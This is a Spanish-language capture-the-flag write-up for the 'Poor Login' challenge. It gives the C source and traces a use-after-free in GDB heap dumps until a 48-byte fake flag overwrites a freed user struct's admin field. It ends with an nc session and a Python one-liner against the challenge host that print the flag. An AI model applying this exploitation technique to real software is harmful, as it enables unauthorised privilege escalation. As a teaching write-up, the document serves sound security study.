Poor Login
7 minutos de lectura
Se nos proporciona un binario de 64 bits llamado login
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
También tenemos el código fuente en C:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int menu() {
printf("*** WINBLOWS LOGIN *********\n"
"1. Login into user.\n"
"2. Sign out.\n"
"3. Print flag.\n"
"4. Lock user.\n"
"5. Restore user.\n"
"> ");
int resp = 0;
scanf("%d", &resp);
while (getchar() != '\n');
return resp;
}
struct creds {
void *padding;
char name[32];
int admin;
};
struct creds *curr;
struct creds *save;
char *fake_flag;
int main() {
char buff[64];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
while (1) {
switch (menu()) {
case 1: // Login
curr = malloc(sizeof(*curr));
printf("Username: ");
fgets(curr->name, sizeof(curr->name), stdin);
strtok(curr->name, "\n");
curr->admin = 0;
break;
case 2: // Sign out
if (!curr) {
puts("You are not logged in!");
break;
}
free(curr);
curr = NULL;
puts("You have been successfully logged out.");
break;
case 3: // Print flag
if (curr && curr->admin) {
puts("Here's your flag:");
system("/bin/cat /flag.txt");
} else {
if (!fake_flag) {
puts("You are not admin. Would you like to create a new flag instead?");
fgets(buff, sizeof(buff), stdin);
fake_flag = strdup(buff);
}
printf("Here's your flag: %s", fake_flag);
}
break;
case 4: // Lock user
if (curr == NULL) {
puts("You are not logged in!");
break;
}
puts("User has been locked now.");
save = curr;
break;
case 5: // Restore user
if (curr != NULL) {
puts("You are already logged. Sign out first!");
} else if (save == NULL) {
puts("No user is currently locked!");
} else {
printf("Welcome back, %s!\n", save->name);
curr = save;
save = NULL;
}
break;
default:
puts("Invalid choice");
}
}
}
El programa tiene cinco opciones:
- Iniciar sesión como un nuevo usuario
- Cerrar sesión
- Mostrar la flag o introducir una flag falsa
- Guardar un usuario
- Restaurar un usuario
Algunos puntos importantes sobre el programa:
- Los usuarios se almacenan en el heap porque se utiliza
malloc
- Hay dos punteros a una
struct cred
, que son:curr
ysave
- Si cerramos sesión (2), el puntero
curr
será liberado confree
y puesto aNULL
- Si mostramos la flag (3) sin ser
admin
, podremos introducir unafake_flag
que será guardada mediantestrdup
- Si mostramos la flag (3) siendo
admin
, obtendremos laflag
real - Podemos guardar el usuario al que apunta
curr
ensave
si estamos autenticados - Podemos restaurar el puntero
save
acurr
si no estamos autenticados
Este programa es vulnerable a Use After Free, que consiste en liberar un objeto del heap y utilizarlo de nuevo.
Recordemos que free
no borra los datos del heap, solo marca el chunk como no utilizado.
La vulnerabilidad de Use After Free viene del uso de strdup
después de liberar el puntero curr
. La función strdup
guarda la cadena introducida en el heap utilizando malloc
con una cantidad de bytes igual a la longitud de la cadena. El comportamiento de malloc
es reservar un cierto número de bytes en el heap, aunque este proceso puede ser más rápido si malloc
es capaz de reutilizar un chunk recientemente liberado. Por tanto, si liberamos curr
y añadimos una cadena con strdup
con el mismo tamaño que el chunk que tenía curr
, la cadena se guardará en ese mismo sitio.
Vamos a verlo en GDB. Primero iniciamos sesión (1):
$ gdb -q login
Reading symbols from login...
(No debugging symbols found in login)
gef➤ break menu
Breakpoint 1 at 0xa1e
gef➤ run
Starting program: ./login
Breakpoint 1, 0x0000555555400a1e in menu ()
gef➤ continue
Continuing.
*** WINBLOWS LOGIN *********
1. Login into user.
2. Sign out.
3. Print flag.
4. Lock user.
5. Restore user.
> 1
Username: AAAABBBBCCCC
Breakpoint 1, 0x0000555555400a1e in menu ()
Ahora podemos encontrar este nombre de usuario en memoria:
gef➤ grep AAAABBBBCCCC
[+] Searching 'AAAABBBBCCCC' in memory
[+] In '[heap]'(0x555555603000-0x555555624000), permission=rw-
0x5555556032a8 - 0x5555556032b4 → "AAAABBBBCCCC"
gef➤ x/20x 0x555555603290
0x555555603290: 0x00000000 0x00000000 0x00000041 0x00000000
0x5555556032a0: 0x00000000 0x00000000 0x41414141 0x42424242
0x5555556032b0: 0x43434343 0x00000000 0x00000000 0x00000000
0x5555556032c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x5555556032d0: 0x00000000 0x00000000 0x00020d31 0x00000000
Nótese que examinamos unos bytes antes de la coincidencia para observar toda la estructura y los metadatos del chunk (0x41
), que indican que el chunk tiene 0x40
(64) bytes reservados y que el chunk anteriro está en uso (ya que 0x41
acaba en 1
).
Ahora podemos llamar a free
cerrando sesión (2):
gef➤ continue
Continuing.
*** WINBLOWS LOGIN *********
1. Login into user.
2. Sign out.
3. Print flag.
4. Lock user.
5. Restore user.
> 2
You have been successfully logged out.
Breakpoint 1, 0x0000555555400a1e in menu ()
Si revisamos el heap, vemos que hay algunas diferencias:
gef➤ x/20x 0x555555603290
0x555555603290: 0x00000000 0x00000000 0x00000041 0x00000000
0x5555556032a0: 0x00000000 0x00000000 0x55603010 0x00005555
0x5555556032b0: 0x43434343 0x00000000 0x00000000 0x00000000
0x5555556032c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x5555556032d0: 0x00000000 0x00000000 0x00020d31 0x00000000
Ahora, el nombre de usuario se ha sobrescrito con la dirección del chunk anterior.
Veamos qué pasa si ponemos una fake_flag
utilizando strdup
(3) con una longitud pequeña:
gef➤ continue
Continuing.
*** WINBLOWS LOGIN *********
1. Login into user.
2. Sign out.
3. Print flag.
4. Lock user.
5. Restore user.
> 3
You are not admin. Would you like to create a new flag instead?
EEEE
Here's your flag: EEEE
Breakpoint 1, 0x0000555555400a1e in menu ()
Este es el heap en este punto:
gef➤ x/28x 0x555555603290
0x555555603290: 0x00000000 0x00000000 0x00000041 0x00000000
0x5555556032a0: 0x00000000 0x00000000 0x55603010 0x00005555
0x5555556032b0: 0x43434343 0x00000000 0x00000000 0x00000000
0x5555556032c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x5555556032d0: 0x00000000 0x00000000 0x00000021 0x00000000
0x5555556032e0: 0x45454545 0x0000000a 0x00000000 0x00000000
0x5555556032f0: 0x00000000 0x00000000 0x00020d11 0x00000000
Vemos que EEEE
(y el carácter de salto de línea) se almacenan en el heap en otro chunk (de tamaño 0x20
, 32). La función strdup
reservará espacio suficiente en memoria para guardar la cadena (el múltiplo de 16 más cercano, mayor o igual que el tamaño de la cadena). Nótese que tenemos 16 bytes para los metadatos del chunk y 5 bytes para la cadena, por lo que el múltiplo más cercano es 32.
La vulnerabilidad de Use After Free viene cuando malloc
encuentra un chunk recientemente liberado, y esto solo ocurre si malloc
necesita reservar el mismo número de bytes que tenía el chunk liberado. Por tanto, si introducimos una fake_flag
con la longitud adecuada, sus metadatos serán 0x41
y entonces malloc
reutilizará este chunk.
Podemos repetir el proceso anterior hasta introducir la fake_flag
:
gef➤ continue
Continuing.
*** WINBLOWS LOGIN *********
1. Login into user.
2. Sign out.
3. Print flag.
4. Lock user.
5. Restore user.
> 3
You are not admin. Would you like to create a new flag instead?
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
Here's your flag: EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
Breakpoint 1, 0x0000555555400a1e in menu ()
Hemos introducido 48 caracteres. Este es el heap ahora:
gef➤ x/28x 0x555555603290
0x555555603290: 0x00000000 0x00000000 0x00000041 0x00000000
0x5555556032a0: 0x45454545 0x45454545 0x45454545 0x45454545
0x5555556032b0: 0x45454545 0x45454545 0x45454545 0x45454545
0x5555556032c0: 0x45454545 0x45454545 0x45454545 0x45454545
0x5555556032d0: 0x0000000a 0x00000000 0x00020d31 0x00000000
0x5555556032e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x5555556032f0: 0x00000000 0x00000000 0x00000000 0x00000000
En este momento, si hubiera una estructura de usuario en ese chunk del heap, tendríamos un atributo admin != 0
, por lo que podríamos leer la flag real.
No obstante, cuando se libera el puntero curr
, también se pone a NULL
. Por cuerte, tenemos la opción de guardar temporalmente el puntero curr
en save
y restaurarlo más tarde, de manera que podemos obtener lo que queremos.
Por tanto, este es el proceso de explotación:
- Iniciar sesión con
malloc
(1) - Guardar el puntero
curr
ensave
(4) - Cerrar sesión para llamar a
free
(2) - Introducir una
fake_flag
de 48 caracteres (3) - Restaurar el puntero
save
encurr
- Mostrar la flag real (3)
Vamos a hacerlo directamente en la instancia remota:
$ nc thekidofarcrania.com 13226
*** WINBLOWS LOGIN *********
1. Login into user.
2. Sign out.
3. Print flag.
4. Lock user.
5. Restore user.
> 1
Username: user
*** WINBLOWS LOGIN *********
1. Login into user.
2. Sign out.
3. Print flag.
4. Lock user.
5. Restore user.
> 4
User has been locked now.
*** WINBLOWS LOGIN *********
1. Login into user.
2. Sign out.
3. Print flag.
4. Lock user.
5. Restore user.
> 2
You have been successfully logged out.
*** WINBLOWS LOGIN *********
1. Login into user.
2. Sign out.
3. Print flag.
4. Lock user.
5. Restore user.
> 3
You are not admin. Would you like to create a new flag instead?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Here's your flag: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** WINBLOWS LOGIN *********
1. Login into user.
2. Sign out.
3. Print flag.
4. Lock user.
5. Restore user.
> 5
Welcome back, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
!
*** WINBLOWS LOGIN *********
1. Login into user.
2. Sign out.
3. Print flag.
4. Lock user.
5. Restore user.
> 3
Here's your flag:
CTFlearn{I_sh0uldve_done_a_ref_counter!!_:PPPPP}
*** WINBLOWS LOGIN *********
1. Login into user.
2. Sign out.
3. Print flag.
4. Lock user.
5. Restore user.
> ^C
Usando un “one-liner”, podemos extraer solamente la flag:
$ python3 -c 'print("\n".join(["1", "user", "4", "2", "3", "A" * 48, "5", "3"]))' | timeout 1 nc thekidofarcrania.com 13226 | grep CTFlearn
CTFlearn{I_sh0uldve_done_a_ref_counter!!_:PPPPP}